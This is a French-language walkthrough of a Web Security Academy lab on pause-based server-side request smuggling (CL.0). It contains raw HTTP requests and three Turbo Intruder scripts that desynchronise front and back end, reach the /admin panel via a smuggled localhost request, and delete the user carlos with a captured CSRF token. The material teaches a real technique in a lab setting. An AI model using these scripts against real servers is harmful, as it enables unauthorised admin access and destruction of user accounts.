Smuggling basé sur les pauses côté serveur

Server-side pause-based request smuggling

Lab: Server-side pause-based request smuggling | Web Security AcademyWebSecAcademy

Le laboratoire est vulnérable à une attaque de pause-based server-side request smuggling. Le serveur frontal transmet les requêtes au serveur interne de manière continue, et ce dernier ne ferme pas la connexion après un délai d’inactivité sur certains endpoints.

Pour résoudre le lab :

• Identifier un vecteur de désynchronisation CL.0 basé sur une pause,

• Smuggler une requête vers le serveur interne afin d’accéder au panneau d’administration /admin,

• Puis supprimer l’utilisateur carlos.

Note Certaines vulnérabilités de ce type ne peuvent pas être exploitées avec les outils natifs de Burp. Il est nécessaire d’utiliser l’extension Turbo Intruder.

Point vulnérable : /resources

En envoyant une requête vers /resources et en insérant une longue pause (61 secondes), on peut provoquer la désynchronisation entre le front-end et le back-end :

POST /resources HTTP/1.1

Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 84



GET /error HTTP/1.1

Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net

Pour exploiter ce comportement, on utilise Turbo Intruder.

Script de base

Le script par défaut est modifié pour introduire une pause de 61 000 ms après l’envoi du marqueur (pauseMarker), afin que la seconde requête soit injectée après le délai :

L’analyse montre que deux requêtes arrivent côté back-end après environ 62 secondes, ce qui confirme la vulnérabilité.

def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /error HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['\r\n\r\nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)

Injection vers /admin/

En adaptant la requête smuggled vers le panneau administrateur :

def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /admin/ HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['\r\n\r\nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)

Le serveur interne répond avec Found, prouvant que l’accès administrateur a bien été forcé.

Suppression de l’utilisateur carlos

Pour contourner la protection CSRF, on modifie le host de la requête smuggled vers localhost, tout en incluant le body POST avec le token capturé :

def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 53

csrf=Re4MnOmcNv3hE8gobZocHnS9vcwce2sc&username=carlos
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['\r\n\r\nPOST'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)

L’injection déclenche la requête POST smuggled côté serveur interne, ce qui supprime l’utilisateur carlos.